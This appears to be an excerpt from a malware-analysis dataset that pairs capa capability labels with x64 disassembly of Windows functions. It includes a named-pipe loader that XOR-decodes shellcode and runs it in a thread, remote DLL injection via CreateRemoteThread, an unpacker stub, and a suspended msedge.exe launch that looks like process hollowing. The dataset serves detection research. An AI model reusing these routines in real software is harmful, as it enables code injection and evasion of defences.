joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ab790
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbp
push r13
push r15
sub rsp, 0x30
mov qword [rsp + 0x50], rbx
mov r15, rdx
mov qword [rsp + 0x58], rsi
mov r13, rcx
mov rsi, qword [r8 + 0x10]
mov r9, r8
mov qword [rsp + 0x60], rdi
mov rdi, r8
mov qword [rsp + 0x28], r12
mov r12, qword [r8 + 0x18]
cmp r12, 0xf
jbe 0x1400ab7cb
mov r9, qword [r8]
xor ebp, ebp
movabs r8, 0xcbf29ce484222325
mov ecx, ebp
test rsi, rsi
je 0x1400ab804
movabs rdx, 0x100000001b3
nop dword [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
xor r8, rax
imul r8, rdx
cmp rcx, rsi
jb 0x1400ab7f0
mov rcx, qword [r13 + 0x30]
mov rax, qword [r13 + 0x18]
and rcx, r8
add rcx, rcx
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, qword [r13 + 8]
je 0x1400ab872
mov qword [rsp + 0x20], r14
mov r14, qword [rax + rcx*8]
nop word [rax + rax]
cmp qword [rbx + 0x28], 0xf
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
jbe 0x1400ab842
mov rdx, qword [rdx]
mov rcx, rdi
cmp r12, 0xf
jbe 0x1400ab84e
mov rcx, qword [rdi]
cmp rsi, rax
jne 0x1400ab85f
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400ab86a
cmp rbx, r14
je 0x1400ab86d
mov rbx, qword [rbx + 8]
jmp 0x1400ab830
mov rbp, rbx
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
test rbp, rbp
je 0x1400ab89b
mov qword [r15], rbp
mov rax, r15
add rsp, 0x30
pop r15
pop r13
pop rbp
ret
mov rax, qword [r13 + 8]
mov qword [r15], rax
mov rax, r15
add rsp, 0x30
pop r15
pop r13
pop rbp
ret
Function at 0x1400ad930
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x1400ff040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xorps xmm0, xmm0
test eax, eax
js 0x1400ad9e6
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400ad991
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400462d0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
lea r8, [rdx + rcx*2]
lea rdx, [rsp + 0x40]
cmova rdx, qword [rsp + 0x40]
mov rcx, rbx
call fcn.140045ad0
nop
lea rcx, [rsp + 0x40]
call fcn.140045850
jmp 0x1400ada0b
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x1400df90b]
mov rcx, rbx
call fcn.1400033c0
mov rax, rbx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400c92b0
add rsp, 0x280
pop rbx
ret
Function at 0x1400bdeb0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x78
mov r13, r9
mov r15, r8
mov r14, rdx
mov rbp, rcx
xor esi, esi
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x28], rdx
mov rbx, rdx
lea rax, [r8 - 1]
mov qword [rsp + 0x20], rax
mov r12, rax
sar r12, 1
cmp rdx, r12
jge 0x1400bdf80
nop dword [rax]
nop word [rax + rax]
lea rdi, [rbx + rbx]
lea rbx, [rdi + 2]
shl rbx, 5
add rbx, rbp
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0x50]
call fcn.140045480
or esi, 1
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140045480
or esi, 2
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
call fcn.1400bc9c0
movzx ebx, al
lea rcx, [rsp + 0x30]
call fcn.140045850
nop
lea rcx, [rsp + 0x50]
call fcn.140045850
xor rbx, 1
inc rbx
add rbx, rdi
mov rdx, rbx
shl rdx, 5
add rdx, rbp
shl r14, 5
lea rcx, [r14 + rbp]
call fcn.1400bbf40
mov r14, rbx
cmp rbx, r12
jl 0x1400bdf00
mov rdi, rbx
cmp rbx, r12
jne 0x1400bdfab
test r15b, 1
jne 0x1400bdfab
shl r15, 5
lea rdx, [rbp - 0x20]
add rdx, r15
shl rbx, 5
lea rcx, [rbx + rbp]
call fcn.1400bbf40
mov rdi, qword [rsp + 0x20]
lea rbx, [rdi - 1]
mov r15, qword [rsp + 0x28]
sar rbx, 1
cmp r15, rdi
jge 0x1400be009
mov rdx, r13
lea rcx, [rsp + 0x30]
call fcn.140045480
or esi, 0x10
or esi, 4
mov dword [rsp + 0x20], esi
mov rdx, rbx
shl rdx, 5
add rdx, rbp
lea rcx, [rsp + 0x50]
call fcn.140045480
or esi, 0x20
or esi, 8
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
call fcn.1400bc9c0
test al, al
je 0x1400be009
mov r14b, 1
jmp 0x1400be00c
xor r14b, r14b
test sil, 8
je 0x1400be020
and esi, 0xfffffff7
lea rcx, [rsp + 0x50]
call fcn.140045850
nop
test sil, 4
je 0x1400be033
and esi, 0xfffffffb
lea rcx, [rsp + 0x30]
call fcn.140045850
shl rdi, 5
lea rcx, [rdi + rbp]
test r14b, r14b
je 0x1400be05a
mov rdx, rbx
shl rdx, 5
add rdx, rbp
call fcn.1400bbf40
mov rdi, rbx
dec rbx
jmp 0x1400bdfb4
mov rdx, r13
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
jmp fcn.1400bbf40
Function at 0x1400c90a8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400c90e2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400c90e7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c9130
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400d04e0]
cmp byte [rcx + rax], 0
je 0x1400c9130
dec r8
sub rdx, 1
jne 0x1400c9116
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400ca188
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ca1d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ca1d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ca1d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ca1d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ca1d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ca1d4
xor al, al
add rsp, 0x28
ret
Function at 0x14005bf10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005bf1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005bf2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005bf15
lea eax, [rcx + 1]
jmp 0x14005bf3b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005bf4e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005bf34
sub eax, 3
jb 0x14005bf6e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005bfbd
sar eax, 1
movsxd rbp, eax
jb 0x14005bfa4
jmp 0x14005bf7c
add ebx, ebx
jne 0x14005bf7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005bfa4
inc ecx
add ebx, ebx
jne 0x14005bf8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005bfa4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005bf9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005bf8c
add ecx, 2
jmp 0x14005bfa9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005bed2
jmp 0x14005bf1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29400
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005c009
cmp rsi, rcx
jae 0x14005c011
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005bff0
cmp al, 0x8f
ja 0x14005bff0
cmp byte [rsi - 2], 0xf
je 0x14005bff6
sub al, 0xe8
cmp al, 1
ja 0x14005bfda
cmp rsi, rcx
jae 0x14005c011
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005bfe0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005c011
lodsb al, byte [rsi]
jmp 0x14005bff0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x59000]
mov eax, dword [rdi]
or eax, eax
je 0x14005c07a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6b440]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005c01e
jns 0x14005c053
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14005c05d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005c074
mov qword [rbx], rax
add rbx, 8
jmp 0x14005c03e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005c0b4
cmp al, 0xef
ja 0x14005c0a6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005c086
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005c095
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005c108
sub rsp, 0xffffffffffffff80
jmp 0x14000c0d0
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Connect pipe
Create pipe
Create thread
Encode data using xor
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor esi, esi
lea rcx, str..pipeBadCodeTest
mov qword [rsp + 0x38], rsi
mov r9d, 0xff
mov dword [rsp + 0x30], esi
xor r8d, r8d
mov dword [rsp + 0x28], 0x400
mov edx, 1
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Create_Pipe_Error_:__d__n
mov ebx, eax
call fcn.140001010
mov eax, ebx
jmp 0x1400011e8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jle 0x1400011e6
lea rcx, str.__Client_Connected..._n
mov qword [rsp + 0x470], rdi
call fcn.140001010
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x40]
lea rcx, str.__Get_DATA_Length_:__d__n
call fcn.140001010
mov edx, dword [rsp + 0x40]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rsp + 0x40]
mov ebx, esi
test ecx, ecx
je 0x14000119c
nop word [rax + rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, ebx
lock xor byte [rax + rdi], 0xa
mov ecx, dword [rsp + 0x40]
inc ebx
cmp ebx, ecx
jb 0x140001180
mov edx, ecx
lea r9, [rsp + 0x44]
mov rcx, rdi
mov r8d, 0x10
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x470]
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001220
mov rbx, qword [rsp + 0x478]
add rsp, 0x460
pop rsi
ret

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x140001f70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, rdx
mov rdi, rcx
mov rcx, rax
lea rdx, [0x140039ab8]
call fcn.140010bec
mov rsi, rax
test rax, rax
jne 0x140001fb1
lea rcx, str.Failed_to_open_file
call fcn.1400110e0
mov rax, rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
xor edx, edx
mov qword [rsp + 0x30], rbx
mov r8d, 2
mov rcx, rsi
call fcn.140011474
mov rcx, rsi
call fcn.140010a4c
mov rcx, rsi
movsxd rbx, eax
call fcn.14001477c
mov rcx, rbx
call fcn.14001546c
mov qword [rdi], rax
test rax, rax
jne 0x140002010
lea rcx, str.Failed_to_allocate_buffer
call fcn.1400110e0
mov rcx, rsi
call fcn.140010f0c
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.140014f88
cmp rax, rbx
je 0x140001ff5
lea rcx, str.Failed_to_read_file
call fcn.1400110e0
mov rcx, rsi
call fcn.140010f0c
mov rcx, qword [rdi]
call fcn.140014c1c
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140002060
Capabilities:
Enumerate pe sections

Disassembly:
push r12
push r14
sub rsp, 0x38
mov rax, qword [rcx]
mov r12, rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
jne 0x14000209b
mov ecx, 2
call fcn.140010d18
mov rcx, rax
lea rdx, str.Failed_to_get_NT_Headers_n
call fcn.140001150
xor eax, eax
add rsp, 0x38
pop r14
pop r12
ret
movzx edx, word [r14 + 0x14]
movzx r9d, word [r14 + 6]
add rdx, 0x18
mov qword [rsp + 0x50], rbx
add rdx, r14
mov qword [rsp + 0x30], rdi
xor edi, edi
mov r8d, edi
test r9d, r9d
je 0x1400021d1
lea rbx, str..reloc
nop dword [rax + rax]
mov rax, rdi
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rbx + rax - 1]
jne 0x1400021c1
cmp rax, 7
jne 0x1400020d3
add dword [rdx + 8], 0x1000
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x28], r13
movsxd r13, dword [rdx + 0x10]
mov qword [rsp + 0x20], r15
lea eax, [r13 + 0x1000]
mov dword [rdx + 0x10], eax
add dword [r14 + 0x50], 0x1000
mov ecx, dword [r14 + 0x50]
call fcn.14001546c
mov r8d, dword [r14 + 0x54]
mov rcx, rax
mov rdx, qword [r12]
mov r15, rax
call fcn.14002bec0
movzx esi, word [r14 + 0x14]
mov ebp, edi
add rsi, 0x18
add rsi, r14
cmp di, word [r14 + 6]
jae 0x14000220f
mov rcx, rdi
movzx eax, byte [rsi + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400021e6
cmp rcx, 7
jne 0x140002153
mov ecx, 0x1000
call fcn.14001546c
mov edx, 0xcc
mov r8d, 0x1000
mov rcx, rax
mov rdi, rax
call fcn.14002c560
mov ecx, dword [rsi + 0x14]
mov r8, r13
mov rdx, qword [r12]
add rdx, rcx
add rcx, r15
call fcn.14002bec0
mov ecx, dword [rsi + 0x14]
mov r8d, 0x1000
add rcx, r13
mov rdx, rdi
add rcx, r15
call fcn.14002bec0
xor edi, edi
lea rbx, str..reloc
jmp 0x1400021fc
add rdx, 0x28
inc r8d
cmp r8d, r9d
jl 0x1400020d0
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
pop r14
pop r12
ret
mov ecx, dword [rsi + 0x14]
mov rdx, qword [r12]
mov r8d, dword [rsi + 0x10]
add rdx, rcx
add rcx, r15
call fcn.14002bec0
movzx ecx, word [r14 + 6]
add rsi, 0x28
inc ebp
cmp ebp, ecx
jl 0x140002150
mov rcx, qword [r12]
call fcn.140014c1c
mov rsi, qword [rsp + 0x60]
mov eax, r13d
mov r13, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x30]
mov qword [r12], r15
mov r15, qword [rsp + 0x20]
add rsp, 0x38
pop r14
pop r12
ret
Function at 0x140002250
Capabilities:
Encode data using xor

Disassembly:
push r12
push r15
sub rsp, 0x48
mov rax, qword [rcx]
mov r15d, r8d
movaps xmmword [rsp + 0x30], xmm6
mov r12, rcx
movd xmm6, r8d
pshufd xmm6, xmm6, 0
movsxd r9, dword [rax + 0x3c]
add r9, rax
jne 0x1400022a2
mov ecx, 2
call fcn.140010d18
mov rcx, rax
lea rdx, str.Failed_to_get_NT_Headers_n
call fcn.140001150
xor al, al
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
pop r15
pop r12
ret
movzx r8d, word [r9 + 6]
mov qword [rsp + 0x60], rbx
movzx ebx, word [r9 + 0x14]
add rbx, 0x18
mov qword [rsp + 0x78], rdi
xor edi, edi
add rbx, r9
mov edx, edi
test r8d, r8d
je 0x140002430
lea r9, [0x140039b88]
mov rax, rdi
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x140002421
cmp rax, 6
jne 0x1400022d4
mov qword [rsp + 0x68], rbp
movsxd rbp, dword [rbx + 0x10]
mov qword [rsp + 0x70], rsi
mov rcx, rbp
mov qword [rsp + 0x40], r14
mov r14, rbp
call fcn.14001546c
mov ebx, dword [rbx + 0x14]
mov r8, rbp
add rbx, qword [r12]
mov rcx, rax
mov rdx, rbx
mov rsi, rax
call fcn.14002bec0
mov ecx, edi
test ebp, ebp
jle 0x1400023cd
cmp ebp, 0x10
jb 0x1400023cd
mov eax, ebp
and eax, 0x8000000f
jge 0x140002345
dec eax
or eax, 0xfffffff0
inc eax
andps xmm6, xmmword [0x140039cb0]
sub ebp, eax
packuswb xmm6, xmm6
mov rdx, rsi
packuswb xmm6, xmm6
mov r8, rsi
movdqa xmmword [rsp + 0x20], xmm6
mov eax, dword [rsp + 0x20]
movsxd r9, ebp
nop dword [rax]
movd xmm1, dword [rsi + rdi]
lea rdx, [rdx + 0x10]
movd xmm0, eax
lea r8, [r8 + 0x10]
xorps xmm1, xmm0
add ecx, 0x10
movd dword [rsi + rdi], xmm1
movd xmm2, dword [rdx - 0xc]
movd xmm0, eax
xorps xmm2, xmm0
movd xmm0, eax
movd dword [r8 - 0xc], xmm2
movd xmm1, dword [rsi + rdi + 8]
xorps xmm1, xmm0
movd xmm2, eax
movd dword [rsi + rdi + 8], xmm1
movd xmm0, dword [rsi + rdi + 0xc]
xorps xmm2, xmm0
movd dword [rsi + rdi + 0xc], xmm2
add rdi, 0x10
cmp rdi, r9
jl 0x140002370
mov rbp, qword [rsp + 0x68]
movsxd r8, ecx
cmp r8, r14
jge 0x1400023fd
mov rdx, r14
lea rax, [r8 + rsi]
sub rdx, r8
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], r15b
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400023f0
mov r8, r14
mov rdx, rsi
mov rcx, rbx
call fcn.14002bec0
mov rcx, rsi
call fcn.140014c1c
mov r14, qword [rsp + 0x40]
mov al, 1
mov rsi, qword [rsp + 0x70]
jmp 0x140002432
add rbx, 0x28
inc edx
cmp edx, r8d
jl 0x1400022d1
xor al, al
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
pop r15
pop r12
ret
Function at 0x140002980
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
mov dword [rsp + 0x20], 0x130
mov ecx, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002a09
nop dword [rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x1400029f3
inc rcx
test eax, eax
jne 0x1400029e0
mov rcx, rbx
test edx, edx
je 0x140002a35
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400029d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000a640
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x140002a14

Function at 0x140002a80
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push rbp
push rdi
sub rsp, 0x48
movsxd rax, dword [r8 + 0x3c]
mov rdi, r8
mov rbp, rdx
cmp dword [rax + r8 + 0x94], 0
je 0x140002bcc
mov qword [rsp + 0x78], r14
mov r14d, dword [rax + r8 + 0x90]
add r14, 0xc
add r14, r8
mov eax, dword [r14]
test eax, eax
je 0x140002bc7
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x40], r15
nop word [rax + rax]
mov ebx, eax
lea rcx, str.kernel32.dll
add rbx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140039b90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], r12b
jne 0x140002b10
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rbx + r9], r12b
jne 0x140002b40
inc r9
mov qword [rsp + 0x20], r12
mov r8, rbx
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov r9, r15
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [r14 + 0x14]
add r14, 0x14
test eax, eax
jne 0x140002ae0
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x78]
add rsp, 0x48
pop rdi
pop rbp
ret
Function at 0x140003430
Capabilities:
Create process on windows
Create process suspended
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x210
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov r8d, 0x104
lea rdx, [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0xd4], xmm0
mov dword [rsp + 0xe4], eax
mov dword [rsp + 0x80], 0x68
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000359d
call fcn.1400065f0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.1400045f0
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x58], rcx
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x50]
call fcn.1400064b0
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx esi, al
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003582
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140003582
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, sil
mov rcx, rdi
call fcn.140007c10
mov rcx, rdi
call fcn.140006110
mov ebp, 1
jmp 0x1400035a1
mov ebp, dword [rsp + 0x70]
lea rdx, [0x140039ab8]
lea rcx, [rsp + 0xf0]
call fcn.140010bec
mov rdi, rax
test rax, rax
jne 0x1400035cb
lea rcx, str.Failed_to_open_file
call fcn.1400110e0
jmp 0x140003615
xor edx, edx
mov r8d, 2
mov rcx, rdi
call fcn.140011474
mov rcx, rdi
call fcn.140010a4c
movsxd rbx, eax
mov rcx, rdi
call fcn.14001477c
mov rsi, rbx
mov rcx, rbx
call fcn.14001546c
